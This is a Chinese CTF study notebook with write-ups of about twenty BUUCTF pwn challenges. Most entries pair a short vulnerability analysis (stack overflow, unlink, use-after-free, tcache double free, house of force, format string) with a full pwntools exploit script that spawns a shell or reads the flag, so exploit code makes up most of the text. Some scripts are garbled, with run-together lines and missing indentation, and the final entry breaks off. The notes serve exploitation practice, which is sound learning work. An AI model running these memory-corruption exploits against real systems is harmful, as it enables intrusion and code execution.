buu第四页笔记

1、护网杯_2018_gettingstart

 64位,RELRO半开,Canary,NX,PIE全开

 就是普通栈溢出     

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./2018_gettingStart"
#p=process(pwn)
p=remote("node4.buuoj.cn",25558)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
v5=0x7FFFFFFFFFFFFFFF
v6=0x3FB999999999999A
payload=b'a'*0x18+p64(v5)+p64(v6)
p.sendline(payload)
p.interactive()

2、axb_2019_heap

 保护全开,ida打开,菜单堆题

 申请chunk和修改函数的内容都通过上图函数,申请的函数,能够自己选择索引的相对地址,且chunk的指针存放地址在bss段上,但是且指针地址+8存放的是chunk的size大小,所以一个chunk的数据记录要消耗bss的note结构体的0x10大小,且申请的chunk在bss段的key为0时只能申请大于0x80大小的chunk

 该题在最开始的时候还送了个格式化字符串漏洞,泄露libc的基地址,和程序基地址,在脚本断点不太行,直接gdb动调,我先是发现的%3$p%11$p,但是这个libc的基地址远程不行,换成了%15$p%11$p

 只有off by one漏洞,则运用unlink  攻击

create(0,0x88,b'a') 
create(1,0x88,b'a'*8)
create(2,0x88,b'/bin/sh\x00')

edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90))  
delete(1)

EXP如下,还有一种做法是把chunk0的指针指向key,那样就能申请更小size的chunk,攻击手法就多样化了,这道题就可以用更多的技巧进行攻击

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./axb_2019_heap"
#p=process(pwn)
p=remote("node5.buuoj.cn",27732)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(index,size,context):
     p.sendlineafter(">> ",str(1).encode())
     p.sendlineafter("create (0-10):",str(index))
     p.sendlineafter("size:",str(size))
     p.sendlineafter("content: ",context)

def delete(index):
     p.sendlineafter(">> ",str(2))
     p.sendlineafter("index:",str(index))

def edit(index,context):
     p.sendlineafter(">> ",str(4))
     p.sendlineafter("index:",str(index))
     p.sendlineafter("content: ",context)



p.sendlineafter("name: ",b'%15$p%11$p')
p.recvuntil("Hello, ")
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240              #-0xf73c0  这是本地打通的偏移,远程libc版本有点偏差,还好函数偏移是对的
pro_base=int(p.recv(14),16)-0x1186

note=0x202060+pro_base
sys_addr=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']


create(0,0x88,b'a') 
create(1,0x88,b'a'*8)
create(2,0x88,b'/bin/sh\x00')

edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90))  
delete(1)

edit(0,b'a'*0x18+p64(freehook)+p64(0x30))       #注意chunk0的size要设置一下
edit(0,p64(sys_addr)) delete(2) print("libcbase-->",hex(libcbase),"pro_base-->",hex(pro_base)) print(hex(note)) #debug() p.interactive()

3、oneshot_tjctf_2016

 64位,只开了NX,动态链接,ida打开看看

 先读入的会泄露地址,后读入会跳转执行

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./oneshot_tjctf_2016"
#p=process(pwn)
p=remote("node4.buuoj.cn",27938)
elf=ELF(pwn)
libc=ELF("./libc-2.23-x64.so")
#gdb.attach(p,'b *0x40085C')
#pause()
p.sendlineafter("location?\n",str(elf.got['puts']))
p.recvuntil("Value: ")
puts_addr=int(p.recv(18),16)
print(hex(puts_addr))

libcbase=puts_addr-libc.sym['puts']
onegadet=libcbase+0x45216
p.sendlineafter("location?\n",str(onegadet))
#pause()
p.interactive()

4、wustctf2020_number_game

 32位,输入一个数,要满足如下图所示的要求,先输入一个负数,之后的neg  eax将该负数进行取反操作,得到的数要还是负数,32位int类型的范围是-2147483648~2147483647,输入的数小于等于该范围的最小数就行,在读入的时候还是十六进制表示是0x80000000,取反还是0x80000000,表示最小数,nc输入值就行

5、gyctf_2020_some_thing_exceting

 把flag存放在了bss段上,读入在s地址处,继续往下看像是菜单堆题,看了实际代码是只有创造chunk,freechunk,和view chunk的功能

先看create chunk,调用一次这个函数就会申请三次chunk,第一次是固定大小的chunk,在44行和45行的内容就是把下图标注的chunk 2 和chunk3 的地址存放在固定的chunk1中,chunk 2和chunk3是自定义大小,但是不能超过0x70,且不存在整数溢出,对申请的chunk的size大小进行了限制

 漏洞点在free函数,存在uaf漏洞,在freechunk的时候并没有把chunk的指针置0

 view可以作为我们泄露libc的一个助力,在展示的时候是根据固定大小的chunk上存放的地址进行输出,如果我们能够控制该chunk,则可以泄露libc,这道题有flag在bss上的确切地址,则我们可以直接泄露flag

 

create(0x30,b'a',0x30,b'a') #chunk 123
create(0x30,b'a',0x30,b'a') #chunk 456
delete(0)
delete(1)

 create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a')   #泄露libc是附带的,换成别的也行,如下图可以看到,已经能写入chunk  0 的两块内容,接下来就view(0)就是了

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_some_thing_exceting"
#p=process(pwn)
p=remote("node5.buuoj.cn",29194)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
flag=0x6020A8
def create(size1,context1,size2,context2):
      p.sendlineafter("what you want to do :",str(1))
      p.sendlineafter("length : ",str(size1))
      p.sendlineafter("> ba : ",context1)
      p.sendlineafter("> na's length : ",str(size2))
      p.sendlineafter("> na : ",context2)

def delete(index):
      p.sendlineafter("what you want to do :",str(3))
      p.sendlineafter("> Banana ID : ",str(index))

def show(index):
      p.sendlineafter("what you want to do :",str(4))
      p.sendlineafter("SCP project ID : ",str(index))
      
      
create(0x30,b'a',0x30,b'a') #chunk 123
create(0x30,b'a',0x30,b'a') #chunk 456
delete(0)
delete(1)

create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a')
show(0)
#debug()
p.interactive()

6、starctf_2019_babyshell

 第5行缓冲区和闹钟函数,之后把buf的地址通过mmap函数改为可读可写可执行,大小为0x1000,写入shellcode,然后有个栈溢出漏洞

 该函数限制了我们写入的范围,必须在unk_400978所规定的字符内容里,联系上图,我们要让return 1进行实现,绕过检查,

 这道题只要找一道汇编指令且它反汇编的第一个字节是b'\x00'绕过,就能使*i为0跳出循环

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./starctf_2019_babyshell"
#p=process(pwn)
p=remote("node5.buuoj.cn",25464)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
p.sendlineafter("shellcode, plz:\n",b'\x00\xc0'+asm(shellcraft.sh()))
print(asm("add al,al"))
p.interactive()

7、zctf2016_note2

 ida打开,是一道菜单堆题,四功能齐全,先读入0x40和0x60大小的姓名和地址,都在bss段上,再进入菜单,create函数,最多能申请四个chunk,且大小不超过0x80

 这两个函数一个是防止堆溢出一个字节,并将末位置0,第二个函数会多加一个0,放在一起则会产生0ff by null,且如果read读入的size是0的话,能造成堆溢出

 

 show功能,把bss段上指针存放地址的内容输出

 free功能没什么异常,重点看edit函数,这里可以选择两种方式,第一种是让dest的数组为0,继续malloc一个0xa0大小的堆块,然后在字符串后面进行输入最多0x8f个数据,然后将chunkptr原大小+14的位置置0,接下来把我们修改的数据放入原来chunk的地址上,第二种是先把原来的内容放入dest的数组中,把我们的read的内容接着原内容,再放入原chunk 的地址,但是这里的漏洞利用只有off by null

 通过unlink进行攻击,因为edit无法利用create的堆溢出漏洞,则把堆溢出放在chunk的中间,0xa1为0x91-0x10+0x20,因为fastbin的最小size为0x21

create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)) #chunk 0
create(0,b'aaaa') #chunk 1
create(0x80,b'a') #chunk 2
delete(1)
create(0,p64(0)*2+p64(0xa0)+p64(0x90)) #chunk 3
delete(2)

 之后就是泄露atoi的地址,然后替换成system

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./note2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25551)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
     p.sendlineafter("option--->>\n",str(1))
     p.sendlineafter(":(less than 128)\n",str(size))
     p.sendlineafter("content:\n",context)
      
def show(index):
     p.sendlineafter("option--->>\n",str(2))
     p.sendlineafter("note:\n",str(index))

def edit(index,size,context):
     p.sendlineafter("option--->>\n",str(3))
     p.sendlineafter("note:\n",str(index))
     p.sendlineafter("[1.overwrite/2.append]\n",str(size))
     p.sendlineafter("TheNewContents:",context)         

def delete(index):
     p.sendlineafter("option--->>\n",str(4))
     p.sendlineafter("note:\n",str(index))     

ptr=0x602120
p.sendlineafter("name:\n",p64(elf.got['atoi']))
p.sendlineafter("address:\n",b'a')
create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10))  #chunk 0
create(0,b'aaaa')  #chunk 1
create(0x80,b'a')  #chunk 2
delete(1)
create(0,p64(0)*2+p64(0xa0)+p64(0x90))  #chunk 3
delete(2)

edit(0,1,b'a'*0x18+p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(0,1,p64(sys_addr))
p.sendlineafter("option--->>\n",b'/bin/sh\x00')
#debug()
p.interactive()

8、wustctf2020_name_your_dog

 存在后门函数

字符串地址越界写,在bss段上,能做修改的在循环里的倍数为8的为__isoc99_scanf,

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./wustctf2020_name_your_dog"
#p=process(pwn)
p=remote("node5.buuoj.cn",27691)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
back=0x80485cb
p.sendlineafter("which?\n>",str(-7))
p.sendlineafter("plz: ",p32(elf.sym['shell']))
p.recv()
#debug()
p.interactive()

9、gyctf_2020_force

 堆题,只有malloc的功能,但是有堆溢出,固定读入0x50大小的内容,则可以进行house of force  ,修改top chunk的size,再malloc使进行任意地址读写

 由于保护全开,则要先泄露libc基址,则通过malloc一个比topchunk大的size的chunk让mmap函数分配一片地址,跟libc基址有固定偏移,add函数会泄露该地址

然后修改topchunk的size,再把进行house of force 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_force"
#p=process(pwn)
p=remote("node5.buuoj.cn",28935)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'aaaa'):
      p.sendlineafter(":puts\n",str(1))
      p.sendlineafter("size\n",str(size))
      p.recvuntil("addr ")
      chunk=int(p.recv(14),16)
      p.sendafter("content\n",context)
      return chunk

libcbase=create(0x200000)+0x200ff0
malloc=libcbase+libc.sym['__malloc_hook']
realloc=libcbase+libc.sym['realloc']
topchunk=create(0x10,p64(0)*3+p64(0xffffffffffffffff))+0x10
ogg=libcbase+0x4526a
create(malloc-topchunk-0x30,b'aaa')
create(0x20,p64(ogg)*2+p64(realloc+16))
p.sendlineafter(":puts\n",str(1))
p.sendlineafter("size\n",str(21))
#debug()
p.interactive()

10、wdb_2018_3rd_soEasy

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./wdb_2018_3rd_soEasy"
#p=process(pwn)
p=remote("node5.buuoj.cn",26555)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
#debug('b *0x8048518')

p.recvuntil("Hei,give you a gift->")
stack=int(p.recv(10),16)
#pause()
leave=0x08048549
p.sendafter("do?\n",asm(shellcraft.sh()).ljust(0x4c,b'a')+p32(stack)+p32(leave))
p.interactive()

11、judgement_mna_2016

 格式化字符串漏洞,要我们猜flag

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./judgement_mna_2016"
#p=process(pwn)
p=remote("node5.buuoj.cn",29401)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
#debug('b *0x0804876D')
p.sendlineafter("flag >> ",b'%28$s')
#pause()

p.interactive()

12、picoctf_2018_buffer overflow 0

 

其中 argv 便是用来存储参数的
这里会把读入的 flag 存放 flag 变量中
11 是 无效内存访问信号,这表示,当发生无效内容访问时,会将 flag 写入 stderr ,然后 fflush 刷新缓冲区输
第一种方法栈溢出

 第二种利用puts函数打印

payload = b'./vuln ' + b'a'*0x1c + p32(elf.sym['puts']) + b'a'*4 + p32(0x804A080) print(payload)
 

13、ciscn_2019_en_3

 菜单堆题,free存在uaf,malloc自定义大小的堆块,只有两个功能,动调发现puts函数能够泄露一个libc的函数的地址

 libc版本是libc2.27,tcache不检查size位,则doublefree进行攻击

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_en_3"
#p=process(pwn)
p=remote("node5.buuoj.cn",29775)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
      p.sendlineafter("choice:",str(1))
      p.sendlineafter("of story: \n",str((size)))
      p.sendlineafter("the story: \n",context)

def delete(index):
      p.sendlineafter("choice:",str(4))
      p.sendlineafter("index:\n",str(index))
      

p.sendafter("your name?\n",b'a'*0x20)
p.sendafter("input your ID.\n",b'a'*8)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x81237      #-libc.sym['setbuffer']-231  
print(hex(libcbase))
free=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']
create(0x20)  #chunk 0
create(0x20,b'/bin/sh\x00')  #chunk 1
print(hex(free))
delete(0)
delete(0)
create(0x20,p64(free))
create(0x20,b'/bin/sh\x00')
create(0x20,p64(sys_addr))
delete(1)
#debug('b $rebase(*0xDD9)')
p.interactive()

14、ciscn_2019_final_2

 保护全开,ida打开,菜单堆题,只有申请,释放和展示,申请函数只能malloc两种大小的chunk,且展示函数只能输出3次内容,libc2.27,且delete函数存在uaf,且在free之前会对bss段上的bool进行检查,如果为0,则不进行free操作

 但是create函数可以配合delete函数使用,create不管是malloc哪种大小的chunk都会将bool的值转1,则可以进行double free

 create(2,b'a') delete(2) create(1,b'a') delete(2) 

 但是现在要泄露libc的基地址

 看了wp之后发现init已经在程序创建缓冲区的时候就已经读入了flag,且利用dup2函数将读取flag的fd改为666

#leak ->chunk_low
create(1,1)
delete(1)
create(2,2)
create(2,2)
create(2,2)
create(2,2)
delete(2)
create(1,1)
delete(2)
show(2)

先进行chunk的低4字节信息泄露,前面多申请的chunk2都是为了后面合并伪造chunk做准备

 #change size ->0x91 create(2,chunk_low) create(2,0) delete(1) create(2,0x91) 

这里通过泄露的chunk的低字节位,通过dup将fd指向chunk1类型,再将size位修改为0x91,进行fakechunk,且这里free的chunk1类型是为了下面的操作进行铺垫,

 #leak --->libcbase for i in range(7): delete(1) create(2,2) delete(1) show(1) 

这里chunk1已经size大小修改为0x91,然后通过double free,将tcache填满,然后进行泄露

 create(2,stdin & 0xffff) create(1,0) create(1,666) 

这里取低字节通过上面一样的方法修改指针末位,使原本指向main_arena的fd指向了__IO_2_1_stdin_,再createchunk1,如果freechunk2就会从unsorted bin 进行分配,即使freechunk的fd指针指向地址为stdin也无法造成修改

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_final_2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25965)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(typ,context):
      p.sendlineafter("> ",str(1))
      p.sendlineafter(">",str((typ)))
      p.sendlineafter("number:",str(context))

def delete(index):
      p.sendlineafter("> ",str(2))
      p.sendlineafter(">",str(index))

def show(index):
      p.sendlineafter("> ",str(3))
      p.sendlineafter(">",str(index))
      
def bye(context):
      p.sendlineafter("> ",str(4))     
      p.sendlineafter(" at last? \n",context)

#leak ->chunk_low
create(1,1)
delete(1)
create(2,2)
create(2,2)
create(2,2)
create(2,2)
delete(2)
create(1,1)
delete(2)
show(2)
p.recvuntil("inode number :")
chunk_low=int(p.recvuntil(b'\n')[:-1],10)-0xa0
if chunk_low<0 :
   chunk_low+=0x10000
print(hex(chunk_low))
#change size ->0x91
create(2,chunk_low)
create(2,0)
delete(1)
create(2,0x91)

#leak --->libcbase
for i in range(7):
    delete(1)
    create(2,2)
    
delete(1)
show(1)
p.recvuntil("inode number :")
libc_low=int(p.recvuntil(b'\n',drop=True))-96
if libc_low<0:
    libc_low+=0x100000000
print(hex(libc_low))
libcbase=libc_low-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
stdin=libcbase+libc.sym['_IO_2_1_stdin_']+0x70
print(hex(stdin))
#fd-->666
create(2,stdin & 0xffff)
create(1,0)
create(1,666)
#debug()
p.sendlineafter("> ",b'4')
p.sendlineafter("at last? \n",b'a')
print(p.recv())

15、lctf2016_pwn200

 栈可执行,应该是写入shellcode了,ida打开,能输入的第一个函数,能够输入0x30个字节

 

 p.sendafter("are u?\n",b'a'*0x30) 

 发现能够泄露一个栈地址,接下来的函数能够输入一些数,且最多四字节,如果在if判断范围内,则还会打印输出,如果大于0则返回输入的数

 接下来的函数先malloc一个0x40大小的chunk,且dest存放了chunk的地址,然后在栈上读入0x40大小的内容,且dest指针距离rbp8个字节,但是buf读入刚好能够覆盖指针的值,再把读入的内容复制到指针指向的位置,再指针地址存放在bss段上的ptr处,

 接下来进入堆的菜单循环,只能申请和删除一个堆块,且存放堆块地址的地方是在上面提到的ptr地址处,这道题用了函数嵌套,gdb动调发现我们通过第一个函数能够控制高地址处的内容,通过第三个函数能够控制低地址内容,则只要fakechunk在中间一块内存,就有了中间一块区域的读写能力,关于这道题就能将返回地址篡改为我们的shellcode地址,这道题运用的是house of spirit  

 因为我们能够通过第一个函数泄露栈地址,且距离我们写入的地址有固定偏移,则我们在此函数往栈上写入我们的shellcode,如下图所示,shellcode和money都是可控的内存范围,利用chunk的指针伪造chunk将中间的一段内存区域能够写入数据,则可以将 返回地址进行修改为shellcode

  fakechunk=shell_addr-0x50 p.sendlineafter("id ~~?\n",str(0x41).encode()) p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk)) 

如下图所示,已经将bss段上的指针指向了栈地址

 如下图freechunk,之后再进行申请就可以修改返回地址,之后退出就行

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn200"
p=process(pwn)
#p=remote("node5.buuoj.cn",25965)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------

#debug('b *0x400B0B')
paylaod=asm(shellcraft.sh()).ljust(0x30,b'a')
p.sendafter("are u?\n",paylaod)
p.recvuntil(paylaod)
shell_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x50
print(hex(shell_addr))
fakechunk=shell_addr-0x40
p.sendlineafter("id ~~?\n",str(0x41).encode())
p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk))

p.sendlineafter("your choice : ",str(2).encode())
p.sendlineafter("your choice : ",str(1).encode())
p.sendlineafter("how long?\n",str(0x30).encode())
p.sendlineafter("48\n",p64(0)*3+p64(shell_addr))

p.sendlineafter("your choice : ",str(3).encode())


#pause()
p.interactive()

16、suctf_2018_stack

 简单栈溢出

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./SUCTF_2018_stack"
#p=process(pwn)
p=remote("node5.buuoj.cn",29401)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
p.send(b'a'*0x28+p64(0x40067a))
p.interactive()

17、bjdctf_2020_YDSneedGrirlfriend

 菜单堆题,存在申请,释放,输出chunk的功能,且free功能存在uaf

 show功能初步判断为print的函数地址存放在chunk的内容中

 存在后门函数

 把puts函数地址改为后门函数地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./bjdctf_2020_YDSneedGrirlfriend"
#p=process(pwn)
p=remote("node5.buuoj.cn",26825)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------

def create(size,context=b'a'):
    p.sendlineafter("Your choice :",str(1))
    p.sendlineafter("size is :",str(size))
    p.sendafter("Her name is :",context)
    
    
def delete(index):
    p.sendlineafter("Your choice :",str(2))
    p.sendlineafter("Index :",str(index))

def show(index):
    p.sendlineafter("Your choice :",str(3))
    p.sendlineafter("Index :",str(index))

backdoor=0x400B9C
create(0x80)  #chunk 0
create(0x60)  #chunk 1
puts=0x400863
delete(0)
delete(1)
create(0x10,p64(backdoor))  #chunk 2
show(0)
#debug()
p.interactive()

18、gyctf_2020_signin

存在后门函数,算是菜单堆题,因为函数没有去符号,且没有偏差,功能为增加,删除,修改,注意这里有个calloc申请堆块,他不会从tcache中取出chunk,且tcache有个特性,在tcache取出一个chunk时,会在fastbin中如果有同样大小的bin,则可以放入tcachebin中,这样我们就可以把ptr改为tchache中的fd,就能取得shell

 增加功能,最多能申请10个固定大小的chunk0x70,且通过索引进行chunk的分配,chunk的指针和状态标识都存放在bss段上

修改函数,普通情况下只能修改一次,且修改大小为0x50

 free函数,uaf,指针没有置0,但是判断是依据flags位的标识,但是修改功能还在

 这道题虽然只能进行一次修改,但是利用tcache的特性,先申请8个chunk,再释放,再申请一个chunk,将tcache中空出一个位置,再将第8个chunk的fd指针修改,也就是fastbin的fd指针修改并入ptr-0x10,再将calloc,这是分配完tcache就会从fastbin中取出chunkbin并入tcachebin中,这样ptr上就有值了

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_signin"
p=process(pwn)
#p=remote("node5.buuoj.cn",26825)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(index,context=b'a'):
    p.sendlineafter("choice?",str(1).encode())
    p.sendlineafter("idx?\n",str(index))
    
def delete(index):
    p.sendlineafter("choice?",str(3).encode())
    p.sendlineafter("idx?\n",str(index))

def edit(index,context):
    p.sendlineafter("choice?",str(2).encode())
    p.sendlineafter("idx?\n",str(index))
    p.sendline(context)
    
ptr=0x4040C0
for i in range(8):
     create(i)
for i in range(8):
     delete(i)

create(8)
edit(7,p64(ptr-0x10))
p.sendlineafter("choice?",str(6).encode())
#debug()
p.interactive()

19、xman_2019_format

 ida打开函数嵌套,就列出两个比较重要的函数,第一个函数能把我们输入的内容写入chunk中,且把改地址传参进下一个函数,最多能输入0x37个字节

 buf地址最终传给s,再调用strtok进行把s内容切割,把第一个“|”前面的内容赋给v1,再打印,接下来进入循环,把切割剩下的继续进行分割,知道分割完也就是遇不到“|”符号,这里就能进行格式化字符串漏洞利用,但是因为写入的内容在堆,所以我们不能自己添加指针输入,则只能利用栈上已经存在的指针进行操作,这里利用动调看看

 可以看到如下图所示,我们将ebp的链修改为指向返回地址的地方,再通过d028将返回地址修改为后门函数地址

 接下来就是爆破栈上的最后一个字节

from pwn import *

context.log_level='debug'

for x in range(4, 0x100, 4):
    tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn'
    try:
        p = process('./xman_2019_format')
        # p = remote('node3.buuoj.cn', 27180)
        log.info('current low byte:{}'.format(hex(x)))
        p.recv()
        p.sendline(tar)
        p.recv(timeout=1)
        sleep(1)
        p.sendline('cat flag')
        p.recvline_contains('flag', timeout=1)
        p.interactive()
    except:
        p.close()

20、ciscn_2019_sw_1

 这里注意RELRO关了,则init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写,根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
